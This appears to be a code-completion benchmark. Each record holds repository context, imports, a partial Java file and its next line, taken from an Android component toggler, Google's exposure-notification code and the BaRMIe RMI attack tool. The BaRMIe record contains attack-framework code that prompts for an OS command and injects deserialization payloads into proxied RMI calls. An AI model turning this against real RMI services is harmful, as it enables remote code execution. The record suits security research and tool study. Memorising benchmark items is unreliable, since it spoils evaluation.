isVisible = true;\n onVisible();\n } else {\n isVisible = false;\n onInVisible();\n }\n }\n\n /**\n * 使用add(), hide(),show()添加fragment时\n * 刚开始add()时,当前fragment会调用该方法,但是目标fragment不会调用;\n * 所以先add()所有fragment,即先初始化控件,但不初始化数据。\n *\n * @param hidden\n */\n @Override\n public void onHiddenChanged(boolean hidden) {\n super.onHiddenChanged(hidden);\n if (!hidden) {\n isVisible = true;\n onVisible();\n } else {\n isVisible = false;\n onInVisible();\n }\n }\n\n @Override\n public void onResume() {\n super.onResume();\n if (getUserVisibleHint()) {\n onVisible();\n }\n }\n\n private void onVisible() {\n if (isFirst && isVisible) {\n onLazyLoad();\n isFirst = false; // 控制fragment可见时,是否自动加载数据。\n }\n }\n\n /**\n * fragment可见时再加载数据\n */\n public abstract void onLazyLoad();\n\n private void onInVisible() {\n\n }\n // lazy load end\n\n // tip start\n public void snackBarShow(View view, int contentRes) {\n snackBarShow(view, getString(contentRes));\n }\n\n public void snackBarShow(View view, String content) {\n Snackbar.make(view, content, Snackbar.LENGTH_LONG).show();\n }\n // tip end\n\n}", "public class ComponentInfo {\n\n public final static String COMPONENT_PACKAGE_NAME = \"packageName\";\n public final static String COMPONENT_NAME = \"componentName\";\n public final static String IS_ENABLE = \"isEnable\";\n\n public String packageName;\n public String componentName;\n public boolean isEnable;\n\n public String getPackageName() {\n return packageName;\n }\n\n public void setPackageName(String packageName) {\n this.packageName = packageName;\n }\n\n public String getComponentName() {\n return componentName;\n }\n\n public void setComponentName(String componentName) {\n this.componentName = componentName;\n }\n\n public boolean isEnable() {\n return isEnable;\n }\n\n public void setEnable(boolean enable) {\n isEnable = enable;\n }\n}", "public interface ComponentDetailsContract {\n\n interface View extends BaseView<Presenter> {\n void getComponent(List<ComponentInfo> list);\n\n void onRoot(boolean isRoot, ComponentInfo componentInfo, int position);\n }\n\n interface Presenter extends BasePresenter {\n void getComponent(int tabCategory, String packageName);\n\n void pmComponent(ComponentInfo componentInfo, int position);\n }\n}", "public class ComponentDetailsPresenter implements ComponentDetailsContract.Presenter {\n\n private ComponentDetailsContract.View mView;\n private AppsRepository mAppsRepository;\n\n public ComponentDetailsPresenter(Context context, ComponentDetailsContract.View view) {\n mView = view;\n mView.setPresenter(this);\n mAppsRepository = new AppsRepository(context);\n }\n\n @Override\n public void start() {\n\n }\n\n @Override\n public void getComponent(int tabCategory, String packageName) {\n List<ComponentInfo> mComponents = mAppsRepository.getComponentInfo(packageName, tabCategory);\n Collections.sort(mComponents, new ComponentComparator());// 排序\n mView.getComponent(mComponents);\n }\n\n @Override\n public void pmComponent(final ComponentInfo componentInfo, final int position) {\n final String cmd = (componentInfo.isEnable() ? AppsRepository.COMMAND_DISABLE : AppsRepository.COMMAND_ENABLE)\n + componentInfo.getPackageName() + \"/\"\n + componentInfo.getComponentName();\n mAppsRepository.getRoot(cmd, new GetRootCallback() {\n @Override\n public void onRoot(boolean isRoot) {\n mView.onRoot(isRoot, componentInfo, position);\n }\n });\n }\n}", "public static final String EXTRA_APP_PACKAGE_NAME = \"app_package_name\";", "public static final String TAB_CATEGORY = \"tab_category\";" ]
import android.os.Bundle; import android.support.v7.widget.DividerItemDecoration; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.view.View; import com.science.baserecyclerviewadapter.interfaces.OnItemClickListener; import com.sscience.stopapp.R; import com.sscience.stopapp.activity.ComponentDetailsActivity; import com.sscience.stopapp.adapter.ComponentDetailsAdapter; import com.sscience.stopapp.base.BaseFragment; import com.sscience.stopapp.bean.ComponentInfo; import com.sscience.stopapp.presenter.ComponentDetailsContract; import com.sscience.stopapp.presenter.ComponentDetailsPresenter; import java.util.List; import static com.sscience.stopapp.activity.ComponentDetailsActivity.EXTRA_APP_PACKAGE_NAME; import static com.sscience.stopapp.fragment.AppListFragment.TAB_CATEGORY;
package com.sscience.stopapp.fragment; /** * @author SScience * @description * @email chentushen.science@gmail.com * @data 2017/4/4 */ public class ComponentDetailsFragment extends BaseFragment implements ComponentDetailsContract.View { private ComponentDetailsContract.Presenter mPresenter; private ComponentDetailsAdapter mComponentDetailsAdapter; private String packageName; public static ComponentDetailsFragment newInstance(int tabCategory) { ComponentDetailsFragment fragment = new ComponentDetailsFragment(); Bundle args = new Bundle(); args.putInt(TAB_CATEGORY, tabCategory); fragment.setArguments(args); return fragment; } @Override protected int getContentLayout() { return R.layout.fragment_app_list; } @Override protected void doCreateView(View view) { new ComponentDetailsPresenter(getActivity(), this); RecyclerView mRecyclerView = (RecyclerView) view.findViewById(R.id.recyclerView); mRecyclerView.setHasFixedSize(true); LinearLayoutManager layoutManager = new LinearLayoutManager(getActivity()); mRecyclerView.setLayoutManager(layoutManager); mRecyclerView.addItemDecoration(new DividerItemDecoration(getActivity(), layoutManager.getOrientation())); mComponentDetailsAdapter = new ComponentDetailsAdapter(getActivity(), mRecyclerView); mRecyclerView.setAdapter(mComponentDetailsAdapter); int tabCategory = getArguments().getInt(TAB_CATEGORY); packageName = getActivity().getIntent().getStringExtra(EXTRA_APP_PACKAGE_NAME); mPresenter.getComponent(tabCategory, packageName); initListener(); } private void initListener() { mComponentDetailsAdapter.setOnItemClickListener(new OnItemClickListener<ComponentInfo>() { @Override public void onItemClick(ComponentInfo componentInfo, int position) { mPresenter.pmComponent(componentInfo, position); } }); } @Override public void onLazyLoad() { } @Override public void setPresenter(ComponentDetailsContract.Presenter presenter) { if (presenter != null) { mPresenter = presenter; } } @Override public void getComponent(List<ComponentInfo> list) { if (list.isEmpty()) { mComponentDetailsAdapter.showLoadFailed(R.drawable.empty , getResources().getString(R.string.no_data), ""); } else { mComponentDetailsAdapter.setData(list); } } @Override public void onRoot(boolean isRoot, ComponentInfo componentInfo, int position) { if (isRoot) { componentInfo.setEnable(!componentInfo.isEnable()); mComponentDetailsAdapter.updateItem(position, componentInfo); } else {
snackBarShow(((ComponentDetailsActivity) getActivity()).mCoordinatorLayout
0
google/exposure-notifications-internals
exposurenotification/src/main/java/com/google/samples/exposurenotification/matching/ExposureWindowUtils.java
[ "public class ExposureResultStorage implements AutoCloseable {\n\n private final List<Row> transactionRows = new ArrayList<>();\n private final Map<byte[], byte[]> threadSafeLevelDb = new HashMap<>();\n\n public static ExposureResultStorage open(Context context) throws StorageException {\n return new ExposureResultStorage(context);\n }\n\n private ExposureResultStorage(Context context) throws StorageException {\n }\n\n /**\n * Checks whether there's a {@link ExposureResult} calculated for the specified input already.\n *\n * <p>See {@link Row} for parameter definitions.\n *\n * @deprecated use hasResult(byte[], byte[]) instead.\n */\n @Deprecated\n public boolean hasResult(\n String packageName,\n byte[] signatureHash,\n String token,\n TemporaryExposureKey temporaryExposureKey) {\n Preconditions.checkArgument(signatureHash.length == 32, \"Signature hash not Sha256 length.\");\n return threadSafeLevelDb.get(\n new KeyEncoder(packageName, signatureHash, token, temporaryExposureKey.getKeyData())\n .encode())\n != null;\n }\n\n /**\n * Checks whether there's a {@link ExposureResult} calculated for the specified input already.\n *\n * <p>See {@link Row} for parameter definitions.\n */\n public boolean hasResult(byte[] tokenRoot, byte[] exposureKey) {\n for (Row row : transactionRows) {\n if (row.tokenRoot() != null\n && Arrays.equals(row.tokenRoot(), tokenRoot)\n && Arrays.equals(row.key().getKeyData(), exposureKey)) {\n return true;\n }\n }\n return threadSafeLevelDb.get(new KeyEncoder(tokenRoot, exposureKey).encode()) != null;\n }\n\n /**\n * Stores a single result. Returns true if successfully stored, false otherwise.\n *\n * @deprecated use {@link #storeResult(byte[], TemporaryExposureKey, ExposureResult, boolean)} instead.\n */\n @Deprecated\n public boolean storeResult(Row row) {\n threadSafeLevelDb.put(new KeyEncoder(row).encode(), row.exposureResult().toByteArray());\n return true;\n }\n\n /**\n * Stores a single result. Returns true if successfully stored, false otherwise.\n */\n public boolean storeResult(\n byte[] tokenRoot,\n TemporaryExposureKey exposureKey,\n ExposureResult exposureResult,\n boolean holdForTransaction) {\n if (holdForTransaction) {\n transactionRows.add(\n Row.builder()\n .setTokenRoot(tokenRoot)\n .setKey(exposureKey)\n .setExposureResult(exposureResult)\n .build());\n return true;\n } else {\n threadSafeLevelDb.put(\n new KeyEncoder(tokenRoot, exposureKey.getKeyData()).encode(),\n exposureResult.toByteArray());\n return true;\n }\n }\n\n /**\n * Commits {@link #storeResult} requests when processed using holdForTransaction, completing the\n * write.\n */\n public void commitStoreResultRequestsForTransaction() {\n storeResults(transactionRows);\n transactionRows.clear();\n }\n\n /**\n * Stores list of results. Returns true if succeeds, false otherwise.\n */\n public boolean storeResults(List<Row> results) {\n synchronized (threadSafeLevelDb) {\n for (Row row : results) {\n byte[] tokenRoot = row.tokenRoot();\n KeyEncoder keyEncoder =\n tokenRoot != null\n ? new KeyEncoder(tokenRoot, row.key().getKeyData())\n : new KeyEncoder(row);\n threadSafeLevelDb.put(keyEncoder.encode(), row.exposureResult().toByteArray());\n }\n return true;\n }\n }\n\n /**\n * Returns an {@link ExposureResult} calculated for the specified input already.\n *\n * <p>See {@link Row} for parameter definitions.\n */\n public ExposureResult getResult(byte[] tokenRoot, byte[] exposureKey) {\n try {\n byte[] result = threadSafeLevelDb.get(new KeyEncoder(tokenRoot, exposureKey).encode());\n if (result != null) {\n return ExposureResult.parseFrom(result);\n }\n } catch (InvalidProtocolBufferException e) {\n Log.log.atSevere().withCause(e).log(\"Error checking for result.\");\n }\n return ExposureResult.getDefaultInstance();\n }\n\n /**\n * Gets the exposure results for specified package and token.\n */\n public List<ExposureResult> getAll(String packageName, byte[] signatureHash, String token)\n throws StorageException {\n Preconditions.checkArgument(signatureHash.length == 32, \"Signature hash not Sha256 length.\");\n byte[] requestKeyRoot = new TokenRootEncoder(packageName, signatureHash, token).encode();\n\n ImmutableList.Builder<ExposureResult> exposureResultsBuilder = ImmutableList.builder();\n synchronized (threadSafeLevelDb) {\n for (Entry<byte[], byte[]> iterator : threadSafeLevelDb.entrySet()) {\n if (EncodingComparisonHelper.hasRoot(requestKeyRoot, iterator.getKey())) {\n try {\n exposureResultsBuilder.add(ExposureResult.parseFrom(iterator.getValue()));\n } catch (InvalidProtocolBufferException e) {\n Log.log.atSevere().withCause(e).log(\"Unable to parse exposure result for key.\");\n }\n }\n\n }\n }\n return exposureResultsBuilder.build();\n }\n\n /**\n * Delete results associated with provided package. Returns number of items deleted.\n */\n public int deleteAll(String packageName, byte[] signatureHash) {\n Preconditions.checkState(signatureHash.length == 32, \"Signature hash not Sha256 length.\");\n byte[] packageKeyRoot = new PackageRootEncoder(packageName, signatureHash).encode();\n int deleted = 0;\n synchronized (threadSafeLevelDb) {\n Iterator<Entry<byte[], byte[]>> iterator = threadSafeLevelDb.entrySet().iterator();\n while (iterator.hasNext()) {\n Entry<byte[], byte[]> item = iterator.next();\n if (EncodingComparisonHelper.hasRoot(packageKeyRoot, item.getKey())) {\n threadSafeLevelDb.remove(item.getKey());\n }\n }\n }\n return deleted;\n }\n\n /**\n * Deletes all {@link ExposureResult}s in store.\n */\n public int deleteAll() {\n final int keysPurged;\n synchronized (threadSafeLevelDb) {\n keysPurged = threadSafeLevelDb.size();\n threadSafeLevelDb.clear();\n }\n return keysPurged;\n }\n\n /**\n * Delete results up to and including {@code lastDayToDelete}.\n *\n * <p>Returns number of results purged.\n */\n public int deletePrior(DayNumber lastDayToDelete) {\n // FIXME: Delete prescribed results.\n return 0;\n }\n\n @Override\n public void close() {\n /* nothing to close */\n }\n\n /**\n * A row in {@link ExposureResultStorage}.\n */\n @AutoValue\n public abstract static class Row {\n\n /**\n * Builder for {@link Row}.\n */\n @AutoValue.Builder\n public abstract static class Builder {\n\n public Row build() {\n Row row = autoBuild();\n byte[] signatureHash = row.signatureHash();\n if (signatureHash != null) {\n Preconditions.checkState(signatureHash.length == 32, \"Signature hash not Sha256 length.\");\n }\n return row;\n }\n\n abstract Row autoBuild();\n\n public abstract Builder setKey(TemporaryExposureKey temporaryTracingKey);\n\n @Deprecated\n public abstract Builder setPackageName(String packageName);\n\n @Deprecated\n public abstract Builder setSignatureHash(byte[] signatureHash);\n\n @Deprecated\n public abstract Builder setToken(String token);\n\n public abstract Builder setTokenRoot(byte[] tokenRoot);\n\n public abstract Builder setExposureResult(ExposureResult exposureResult);\n }\n\n public static Builder builder() {\n return new AutoValue_ExposureResultStorage_Row.Builder();\n }\n\n /**\n * {@link TemporaryExposureKey} this {@link ExposureResult} was calculated for.\n */\n public abstract TemporaryExposureKey key();\n\n /**\n * Package that requested this row's {@link ExposureResult}.\n */\n @Deprecated\n @Nullable\n public abstract String packageName();\n\n /**\n * Package signature required to differentiate client apps.\n */\n @Deprecated\n @Nullable\n public abstract byte[] signatureHash();\n\n /**\n * Token this {@link ExposureResult} was provided with.\n */\n @Deprecated\n @Nullable\n abstract String token();\n\n @Nullable\n abstract byte[] tokenRoot();\n\n /**\n * {@link ExposureResult} calculated for.\n */\n abstract ExposureResult exposureResult();\n }\n\n /**\n * See {@link KeyEncoder} for details.\n */\n private static class PackageRootEncoder extends SerialEncoder {\n\n PackageRootEncoder(String packageName, byte[] signatureHash) {\n super(\n ImmutableList.of(new Sha256StringEncoder(packageName), new BytesEncoder(signatureHash)));\n }\n }\n\n /**\n * See {@link KeyEncoder} for details.\n */\n private static class TokenRootEncoder extends SerialEncoder {\n\n TokenRootEncoder(String packageName, byte[] signatureHash, String token) {\n super(\n ImmutableList.of(\n new PackageRootEncoder(packageName, signatureHash), new Sha256StringEncoder(token)));\n }\n }\n\n /**\n * Encodes token root into byte array.\n */\n public static byte[] encodeTokenRoot(String packageName, byte[] signatureHash, String token) {\n return new ExposureResultStorage.TokenRootEncoder(packageName, signatureHash, token).encode();\n }\n\n /**\n * This {@link Encoder} is a four part encoding:\n *\n * <ol>\n * <li>Sha256 hashed package name\n * <li>Signature byte array (assumed to be Sha256)\n * <li>Sha256 hashed token\n * <li>Exposure key byte array ({@link ContactTracingFeature#contactIdLength()} in length)\n * </ol>\n * <p>\n * To encode only up to each of the parts, use the respective root encoders above:\n *\n * <ul>\n * <li>To encode up to package and signature, use {@link PackageRootEncoder}\n * <li>To encode up to token, use {@link TokenRootEncoder}\n * </ul>\n */\n private static class KeyEncoder extends SerialEncoder {\n\n KeyEncoder(byte[] tokenRoot, byte[] exposureKey) {\n super(ImmutableList.of(new BytesEncoder(tokenRoot), new BytesEncoder(exposureKey)));\n }\n\n /**\n * @deprecated use {@link #KeyEncoder(byte[], byte[])} instead.\n */\n @Deprecated\n KeyEncoder(String packageName, byte[] signatureHash, String token, byte[] exposureKey) {\n super(\n ImmutableList.of(\n new TokenRootEncoder(packageName, signatureHash, token),\n new BytesEncoder(exposureKey)));\n }\n\n /**\n * @deprecated use {@link #KeyEncoder(byte[], byte[])} instead.\n */\n @Deprecated\n @SuppressWarnings(\"nullness\")\n KeyEncoder(Row row) {\n this(row.packageName(), row.signatureHash(), row.token(), row.key().getKeyData());\n }\n }\n}", "public class StorageException extends Exception {\n public StorageException(String msg) {\n super(msg);\n }\n\n public StorageException(Throwable cause) {\n super(cause);\n }\n\n public StorageException(String msg, Throwable cause) {\n super(msg, cause);\n }\n}", "public static final int MAXIMUM_OFFSET_OF_DAYS_SINCE_ONSET = 14;", "public static final int SIZE_OF_DAYS_SINCE_ONSET_TO_INFECTIOUSNESS =\n MAXIMUM_OFFSET_OF_DAYS_SINCE_ONSET * 2 + 1;", "@Deprecated\npublic static final String TOKEN_A = \"ATOKEN\";" ]
import android.annotation.TargetApi; import android.os.Build.VERSION_CODES; import com.google.samples.exposurenotification.ExposureKeyExportProto.TemporaryExposureKey.ReportType; import com.google.samples.exposurenotification.ExposureNotificationEnums.Infectiousness; import com.google.samples.exposurenotification.storage.ExposureResult; import com.google.samples.exposurenotification.storage.ExposureResultStorage; import com.google.samples.exposurenotification.storage.ExposureWindowProto; import com.google.samples.exposurenotification.storage.ScanInstanceProto; import com.google.samples.exposurenotification.storage.StorageException; import org.joda.time.DateTime; import org.joda.time.DateTimeZone; import org.joda.time.Instant; import java.security.SecureRandom; import java.util.ArrayList; import java.util.Collections; import java.util.List; import static com.google.samples.exposurenotification.nearby.DiagnosisKeysDataMapping.MAXIMUM_OFFSET_OF_DAYS_SINCE_ONSET; import static com.google.samples.exposurenotification.nearby.DiagnosisKeysDataMapping.SIZE_OF_DAYS_SINCE_ONSET_TO_INFECTIOUSNESS; import static com.google.samples.exposurenotification.ExposureKeyExportProto.TemporaryExposureKey.ReportType.REPORT_TYPE_UNKNOWN; import static com.google.samples.exposurenotification.matching.ExposureMatchingTracer.TOKEN_A; import static java.lang.Math.min; import static java.util.concurrent.TimeUnit.SECONDS;
/* * Copyright 2020 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.samples.exposurenotification.matching; /** * Utilities for get exposure windows. */ public class ExposureWindowUtils { private static final SecureRandom SECURE_RANDOM = new SecureRandom(); @TargetApi(VERSION_CODES.KITKAT) public static List<ExposureWindowProto> getExposureWindows( String callingPackage, byte[] signatureHash, ExposureResultStorage exposureResultStorage) { List<ExposureWindowProto> exposureWindows = new ArrayList<>(); try { List<ExposureResult> entries =
exposureResultStorage.getAll(callingPackage, signatureHash, TOKEN_A);
4
NickstaDB/BaRMIe
src/nb/barmie/modes/attack/RMIDeserAttack.java
[ "public abstract class BaRMIeException extends Exception {\n\tpublic BaRMIeException(String message) {\n\t\tsuper(message);\n\t}\n\t\n\tpublic BaRMIeException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n}", "public class BaRMIeGetObjectException extends BaRMIeException {\n\tpublic BaRMIeGetObjectException(String message, Throwable cause) {\n\t\tsuper(message, cause);\n\t}\n}", "public class BaRMIeUnsupportedException extends BaRMIeException {\n\tpublic BaRMIeUnsupportedException(String message) {\n\t\tsuper(message);\n\t}\n}", "public class RMIEndpoint {\n\t/*******************\n\t * Properties\n\t ******************/\n\tprivate final TCPEndpoint _endpoint;\t\t\t\t//The host and port of the RMI endpoint\n\tprivate boolean _isRMIEndpoint;\t\t\t\t\t\t//True if this endpoint appears to be an RMI endpoint (RMI registry or RMI object endpoint)\n\tprivate boolean _isRegistry;\t\t\t\t\t\t//True if this endpoint is an RMI registry, false if it's an RMI object endpoint\n\tprivate boolean _isRemotelyModifiable;\t\t\t\t//True if the RMI registry appears to be remotely modifiable\n\tprivate final ArrayList<RMIObject> _exposedObjects;\t//A list of all objects exposed by an RMI registry\n\tprivate Exception _enumerationException;\t\t\t//Used to store any noteworthy exceptions triggered whilst enumerating the endpoint\n\t\n\t/*******************\n\t * Initialise the RMI endpoint object with a given TCP endpoint.\n\t * \n\t * @param endpoint The TCP endpoint this object represents.\n\t ******************/\n\tpublic RMIEndpoint(TCPEndpoint endpoint) {\n\t\tthis._endpoint = endpoint;\n\t\tthis._isRMIEndpoint = false;\n\t\tthis._isRegistry = false;\n\t\tthis._isRemotelyModifiable = false;\n\t\tthis._exposedObjects = new ArrayList<RMIObject>();\n\t}\n\t\n\t/*******************\n\t * Add an RMIObject to the list of objects exposed through an RMI registry\n\t * endpoint.\n\t * \n\t * @param object An RMIObject describing the remote object.\n\t ******************/\n\tpublic void addRMIObject(RMIObject object) {\n\t\tthis._exposedObjects.add(object);\n\t}\n\t\n\t/*******************\n\t * Check if any of the objects on this endpoint use a given class name.\n\t * \n\t * @param className The class name to search for.\n\t * @return True if any objects on this endpoint use the given class.\n\t ******************/\n\tpublic boolean hasClass(String className) {\n\t\tfor(RMIObject obj: this._exposedObjects) {\n\t\t\tfor(String c: obj.getObjectClasses().keySet()) {\n\t\t\t\tif(c.equals(className)) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/*******************\n\t * Find the name of an object that uses the given class.\n\t * \n\t * Helper method to find objects to target.\n\t * \n\t * @param className The class name to search for.\n\t * @return An object name or null if no matching objects are found.\n\t ******************/\n\tpublic String findObjectWithClass(String className) {\n\t\tfor(RMIObject obj: this._exposedObjects) {\n\t\t\tfor(String c: obj.getObjectClasses().keySet()) {\n\t\t\t\tif(c.equals(className)) {\n\t\t\t\t\treturn obj.getObjectName();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/*******************\n\t * Check if any of the objects on this endpoint are annotated with the\n\t * given JAR file name.\n\t * \n\t * @param jarName The jar file name to search for.\n\t * @return True if any objects on this endpoint are annotated with the given jar file name.\n\t ******************/\n\tpublic boolean hasJar(String jarName) {\n\t\tString[] pathParts;\n\t\t\n\t\t//Iterate over all annotations of all exposed objects\n\t\tfor(RMIObject obj: this._exposedObjects) {\n\t\t\tfor(String a: obj.getStringAnnotations()) {\n\t\t\t\t//Split the annotation on the space, colon, and semi-colon characters to get separate paths/URLs\n\t\t\t\tfor(String path: a.split(\"[ ;:]\")) {\n\t\t\t\t\t//Split the path on forward and backward slashes to get the JAR filename\n\t\t\t\t\tpathParts = path.split(\"[\\\\\\\\/]\");\n\t\t\t\t\t\n\t\t\t\t\t//Check if the jar filename matches the one we were given\n\t\t\t\t\tif(pathParts.length > 0) {\n\t\t\t\t\t\tif(jarName.toLowerCase().equals(pathParts[pathParts.length - 1].toLowerCase())) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//No match\n\t\treturn false;\n\t}\n\t\n\t/*******************\n\t * Setters\n\t ******************/\n\tpublic void setIsRMIEndpoint(boolean isRMIEndpoint) { this._isRMIEndpoint = isRMIEndpoint; }\n\tpublic void setIsRegistry(boolean isRegistry) { this._isRegistry = isRegistry; }\n\tpublic void setIsRemotelyModifiable(boolean isModifiable) { this._isRemotelyModifiable = isModifiable; }\n\tpublic void setEnumException(Exception ex) { this._enumerationException = ex; }\n\t\n\t/*******************\n\t * Getters\n\t ******************/\n\tpublic TCPEndpoint getEndpoint() { return this._endpoint; }\n\tpublic boolean isRMIEndpoint() { return this._isRMIEndpoint; }\n\tpublic boolean isRegistry() { return this._isRegistry && this._isRMIEndpoint; }\n\tpublic boolean isObjectEndpoint() { return (!this._isRegistry) && this._isRMIEndpoint; }\n\tpublic boolean isRemotelyModifiable() { return this._isRemotelyModifiable; }\n\tpublic Exception getEnumException() { return this._enumerationException; }\n\tpublic ArrayList<RMIObject> getExposedObjects() { return this._exposedObjects; }\n}", "public class RMIObjectProxy extends ProxyServer {\n\t/*******************\n\t * Properties\n\t ******************/\n\tprivate final byte[] _payload;\t//The raw bytes of the deserialization payload to use\n\tprivate final byte[] _marker;\t//The raw bytes of the marker which is to be replaced with the payload in outbound method invocations\n\t\n\t/*******************\n\t * Construct the proxy.\n\t * \n\t * @param targetHost The host to forward connections to.\n\t * @param targetPort The port to forward connections to.\n\t * @param options The program options.\n\t * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls.\n\t * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls.\n\t ******************/\n\tpublic RMIObjectProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload, byte[] marker) {\n\t\t//Initialise super class\n\t\tsuper(targetHost, targetPort, options);\n\t\t\n\t\t//Store the payload and marker bytes\n\t\tthis._payload = payload;\n\t\tthis._marker = marker;\n\t}\n\t\n\t/*******************\n\t * Create a proxy session object that redirects returned remote object\n\t * references through an RMIMethodCallProxy.\n\t * \n\t * @param clientSock A Socket for the incoming client connection.\n\t * @param targetSock A Socket connected to the proxy target.\n\t * @return A ProxySession object to handle the connection and data transfer.\n\t ******************/\n\tprotected ProxySession createProxySession(Socket clientSock, Socket targetSock) {\n\t\treturn new ProxySession(\n\t\t\t\tnew PassThroughProxyThread(clientSock, targetSock),\n\t\t\t\tnew ObjectRedirectProxyThread(targetSock, clientSock, this._options, this._payload, this._marker)\n\t\t);\n\t}\n}", "public class RMIObjectUIDFixingProxy extends ProxyServer {\n\t/*******************\n\t * Construct the proxy.\n\t * \n\t * @param targetHost The host to forward connections to.\n\t * @param targetPort The port to forward connections to.\n\t * @param options The program options.\n\t ******************/\n\tpublic RMIObjectUIDFixingProxy(InetAddress targetHost, int targetPort, ProgramOptions options) {\n\t\t//Initialise super class\n\t\tsuper(targetHost, targetPort, options);\n\t}\n\t\n\t/*******************\n\t * Create a proxy session object which allows outbound requests to pass\n\t * through, but modifies the serialVersionUID values found within inbound\n\t * object references.\n\t * \n\t * @param clientSock A Socket for the incoming client connection.\n\t * @param targetSock A Socket connected to the proxy target.\n\t * @return A ProxySession object to handle the connection and data transfer.\n\t ******************/\n\tprotected ProxySession createProxySession(Socket clientSock, Socket targetSock) {\n\t\treturn new ProxySession(\n\t\t\t\tnew PassThroughProxyThread(clientSock, targetSock),\n\t\t\t\tnew UIDFixingProxyThread(targetSock, clientSock)\n\t\t);\n\t}\n}" ]
import java.io.IOException; import java.io.InvalidClassException; import java.net.InetAddress; import java.net.UnknownHostException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.ServerError; import java.rmi.ServerException; import java.rmi.UnmarshalException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import nb.barmie.exceptions.BaRMIeException; import nb.barmie.exceptions.BaRMIeGetObjectException; import nb.barmie.exceptions.BaRMIeUnsupportedException; import nb.barmie.modes.enumeration.RMIEndpoint; import nb.barmie.net.proxy.RMIObjectProxy; import nb.barmie.net.proxy.RMIObjectUIDFixingProxy;
package nb.barmie.modes.attack; /*********************************************************** * Abstract base class for RMI deserialization attacks. * * Use this as a base class for RMI attacks which target * deserialization. For example calling a remote method * that accepts an arbitrary Object as a parameter. * * The helper methods of this class retrieve RMI objects * that are fully proxied so that remote method * invocations can be modified as they pass over the * network in order to inject deserialization payloads. In * addition to this, the helper methods will also set up * local port forwarding automatically (in order to access * remote objects that are bound to local host), and * handle falsifying of remote serialVersionUID values so * that they match local values (ensuring compatibility * with classes that Java considers to be incompatible). * * Written by Nicky Bloor (@NickstaDB). **********************************************************/ public abstract class RMIDeserAttack extends RMIAttack { /******************* * Default payload marker - pass this to a remote method to indicate where * to inject the deserialization payload. ******************/ protected final String DEFAULT_MARKER_OBJECT = "BARMIE_PAYLOAD_MARKER"; protected final byte[] DEFAULT_MARKER_OBJECT_BYTES = { (byte)0x74, (byte)0x00, (byte)0x15, (byte)0x42, (byte)0x41, (byte)0x52, (byte)0x4d, (byte)0x49, (byte)0x45, (byte)0x5f, (byte)0x50, (byte)0x41, (byte)0x59, (byte)0x4c, (byte)0x4f, (byte)0x41, (byte)0x44, (byte)0x5f, (byte)0x4d, (byte)0x41, (byte)0x52, (byte)0x4b, (byte)0x45, (byte)0x52 }; /******************* * Default constructor, delegate to super constructor and then mark this * attack as a deserialization attack. ******************/ public RMIDeserAttack() { super(); this.setIsDeserAttack(true); } /******************* * Deserialization attacks require a deserialization payload so this method * is not supported. * * @param ep The enumerated RMI endpoint. ******************/ public void executeAttack(RMIEndpoint ep) throws BaRMIeException { throw new BaRMIeUnsupportedException("Cannot execute an RMIDeserAttack without a deserialization payload, call executeAttack(RMIEndpoint, DeserPayload) instead."); } /******************* * Execute the deserialization attack against the given RMI endpoint using * the given payload. * * This method automatically asks for a payload command to execute. * * @param ep The enumerated RMI endpoint. * @param payload The DeserPayload to use in the attack. ******************/ public void executeAttack(RMIEndpoint ep, DeserPayload payload) throws BaRMIeException { String payloadCmd; //Ask the user for a command to execute payloadCmd = this.promptUserForInput("Enter an OS command to execute: ", false); //Pass the payload command on this.executeAttack(ep, payload, payloadCmd); } /******************* * Execute the deserialization attack against the given RMI endpoint using * the given payload and command. * * It is the responsibility of the subclass to prompt the user for any * attack-specific parameters. * * @param ep The enumerated RMI endpoint. * @param payload The DeserPayload to use in the attack. * @param cmd The command to use for payload generation. ******************/ public abstract void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException; /******************* * Retrieve a proxied remote object reference. * * When a remote method call is invoked on the returned object, the call * passes through a proxy which will replace DEFAULT_MARKER_OBJECT_BYTES * with the given payload bytes, in order to trigger object * deserialization. * * @param ep An enumerated RMI endpoint. * @param name The name of the remote object to retrieve. * @param payload The raw bytes of the deserialization payload to use. * @return A fully-proxied remote object reference. ******************/ protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload) throws BaRMIeException { return this.getProxiedObject(ep, name, payload, this.DEFAULT_MARKER_OBJECT_BYTES); } /******************* * Retrieve a proxied remote object reference. * * When a remote method call is invoked on the returned object, the call * passes through a proxy which will replace the given marker bytes with * the given payload bytes, in order to trigger object * deserialization. * * @param ep An enumerated RMI endpoint. * @param name The name of the remote object to retrieve. * @param payload The raw bytes of the deserialization payload to use. * @param marker The bytes that the method call proxy should replace with the payload bytes. * @return A fully-proxied remote object reference. ******************/ protected final Object getProxiedObject(RMIEndpoint ep, String name, byte[] payload, byte[] marker) throws BaRMIeException { RMIObjectProxy objProxy; Registry reg; Object obj; //Start port forwarding if necessary this.startPortForwarding(ep, name); //Start an RMI object proxy to enable proxying of remote object references try { objProxy = new RMIObjectProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload, marker); objProxy.startProxy(); } catch(UnknownHostException uhe) {
throw new BaRMIeGetObjectException("Failed to start RMI object proxy, unknown RMI registry host.", uhe);
1
Sleeksnap/sleeksnap
src/org/sleeksnap/uploaders/generic/FTPUploader.java
